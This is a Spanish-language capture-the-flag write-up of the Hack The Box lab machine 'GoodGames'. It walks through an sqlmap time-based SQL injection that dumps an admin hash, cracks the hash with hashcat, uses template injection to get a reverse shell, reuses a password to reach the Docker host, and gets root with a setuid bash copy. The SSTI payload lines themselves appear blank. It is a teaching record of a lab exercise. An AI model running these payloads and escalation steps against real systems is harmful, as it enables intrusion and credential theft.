Entrada

GoodGames

GoodGames

GoodGames Linux · Easy - Adventure mode

🔭 Reconocimiento:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(pmartinezr㉿kali)-[~/htb/goodgames]
└─$ nmap -p- -sSVC --min-rate 5000 10.129.3.135
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-12 21:46 +0100
Nmap scan report for 10.129.3.135
Host is up (0.048s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.23 seconds

goodgames_web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
┌──(pmartinezr㉿kali)-[~/htb/goodgames]
└─$ sqlmap  --url http://10.129.3.144/?# --forms -D main -T users --dump-all
___
__H__
___ ___[']_____ ___ ___  {1.10#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
|_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:01:04 /2026-02-12/
[23:01:04] [INFO] testing connection to the target URL
[23:01:06] [INFO] searching for forms
[23:01:09] [INFO] found a total of 2 targets
[2/2] Form:
POST http://10.129.3.144/login
POST data: email=&password=
do you want to test this form? [Y/n/q]
>
Edit POST data [default: email=&password=] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n]
[23:01:16] [INFO] resuming back-end DBMS 'mysql'
[23:01:16] [INFO] using '/home/pmartinezr/.local/share/sqlmap/output/results-02122026_1101pm.csv' as the CSV results file in multiple targets mode
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=xoYE' AND (SELECT 1881 FROM (SELECT(SLEEP(5)))qWkg) AND 'qqNX'='qqNX&password=LzxK
---
do you want to exploit this SQL injection? [Y/n]
[23:01:18] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[23:01:18] [INFO] sqlmap will dump entries of all tables from all databases now
[23:01:18] [INFO] fetching tables for database: 'main'
[23:01:18] [INFO] fetching number of tables for database 'main'
[23:01:18] [INFO] resumed: 3
[23:01:18] [INFO] resumed: blog
[23:01:18] [INFO] resumed: blog_comments
[23:01:18] [INFO] resumed: user
[23:01:18] [INFO] fetching columns for table 'user' in database 'main'
[23:01:18] [INFO] resumed: 4
[23:01:18] [INFO] resumed: email
[23:01:18] [INFO] resumed: id
[23:01:18] [INFO] resumed: name
[23:01:18] [INFO] resumed: password
[23:01:18] [INFO] fetching entries for table 'user' in database 'main'
[23:01:18] [INFO] fetching number of entries for table 'user' in database 'main'
[23:01:18] [INFO] resumed: 1
[23:01:18] [INFO] resumed: admin
[23:01:18] [INFO] resuming partial value: a
[23:01:18] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[23:01:23] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[23:01:48] [INFO] adjusting time delay to 2 seconds due to good response times
dmin@goo
[23:02:52] [ERROR] invalid character detected. retrying..
[23:02:52] [WARNING] increasing time delay to 3 seconds
[23:03:00] [ERROR] invalid character detected. retrying..
[23:03:00] [WARNING] increasing time delay to 4 seconds
dgames.htb
[23:05:13] [INFO] retrieved: 1
[23:05:22] [INFO] retrieved: 2
[23:05:53] [ERROR] invalid character detected. retrying..
[23:05:53] [WARNING] increasing time delay to 5 seconds
b22
[23:06:46] [ERROR] invalid character detected. retrying..
[23:06:46] [WARNING] increasing time delay to 6 seconds
337f218b2d82dfc3b6f77e7cb8ec
[23:16:21] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [y/N/q] N
Database: main
Table: user
[1 entry]
+----+---------------------+--------+----------------------------------+
| id | email               | name   | password                         |
+----+---------------------+--------+----------------------------------+
| 1  | admin@goodgames.htb | admin  | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+---------------------+--------+----------------------------------+
1
2
3
┌──(pmartinezr㉿kali)-[~/htb/goodgames]
└─$ hashcat -m 0 "2b22337f218b2d82dfc3b6f77e7cb8ec"  /usr/share/wordlists/rockyou.txt
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator

goodgames_admin

Una vez nos logamos en la web como admin, podemos acceder a otra web que presenta un Dashboard de ventas goodgames_sales_settings

Aquí empezé a jugar con los parámetros de settings y como Wapalyzzer indicaba que la web está basada en Flask, una inyección SSTI parecía lo más intersante, la cuestión es que tras unas pocas pruebas empecé a tener resultados y se reflejaba en la web. Solo había que refinarlo.

1
2
Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

Por ejemplo el primer payload que introduje fue }. Divivir por cero debería generar un error y así fue, con lo que cada vez tenía más claro que debía continuar por esta vía.

💣 Preparación:

1

Ya había utilizado este payload en otro retro de PicoCTF picoctf-ssti2 . Esto se introduce en el formulario de Full Name. Y recogemos el reverse shell con Netcat.

👽 Acciones:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@3a453ab39d3d:~# df -h
df -h
Filesystem      Size  Used Avail Use% Mounted on
overlay         6.3G  4.5G  1.5G  76% /
tmpfs            64M     0   64M   0% /dev
tmpfs           2.0G     0  2.0G   0% /sys/fs/cgroup
/dev/sda1       6.3G  4.5G  1.5G  76% /home/augustus
shm              64M     0   64M   0% /dev/shm
tmpfs           2.0G     0  2.0G   0% /proc/acpi
tmpfs           2.0G     0  2.0G   0% /sys/firmware
root@3a453ab39d3d:~# cat /home/augustus/user.txt
cat /home/augustus/user.txt
5cb6242edcadf1469************

La primera flag aparece.

1
2
3
4
5
6
root@3a453ab39d3d:/backend# cat Dockerfile
FROM python:3.6.7
RUN mkdir -p /backend
COPY . /backend
WORKDIR /backend
RUN python3 -m pip install -r requirements.txt

Parece que estamos dentro de un contenedor Docker, y el Dockerfile nos indica que hay una carpeta backend que se copia como directorio de trabajo.

1
2
3
4
5
6
7
8
9
root@3a453ab39d3d:/backend# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
valid_lft forever preferred_lft forever

Al consultar la ip de la máquina parece la típicia IP de un contenedor, confirmando nuestras sospechas.

1
2
3
4
5
6
7
8
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$

Tenemos un password reuse por lo que podemo logearno en el host donde se aloja el contenedor.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
augustus@GoodGames:~$ ls -ltra
total 28
drwxr-xr-x 3 root     root     4096 Oct 19  2021 ..
-rw-r--r-- 1 augustus augustus  807 Oct 19  2021 .profile
-rw-r--r-- 1 augustus augustus 3526 Oct 19  2021 .bashrc
-rw-r--r-- 1 augustus augustus  220 Oct 19  2021 .bash_logout
lrwxrwxrwx 1 root     root        9 Nov  3  2021 .bash_history -> /dev/null
-rw-r----- 1 root     augustus   33 Feb 13 11:02 user.txt
-rw------- 1 augustus augustus    7 Feb 13 12:35 .python_history
drwxr-xr-x 2 augustus augustus 4096 Feb 13 12:35 .
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls
bash  user.txt
augustus@GoodGames:~$ logout

Como vimos en el docker file se copia el contenido del directorio /home/augustus a un directorio COPY . /backend. Por lo que la persistencia nos permite copiar Bash y hacer algunas modificaciones de permisos para la escalada.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@3a453ab39d3d:/home/augustus# chmod u+s bash
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 13 12:49:22 2026 from 172.19.0.2
augustus@GoodGames:~$ ls
bash  user.txt
augustus@GoodGames:~$ ./bash -p
bash-5.1# whoami
root

Al volver de vuelta al host, nuestra copia de bash tiene el bit setuid necesario para ejecutarlo con permisos de root.

achivement

Esta entrada está licenciada bajo CC BY 4.0 por el autor.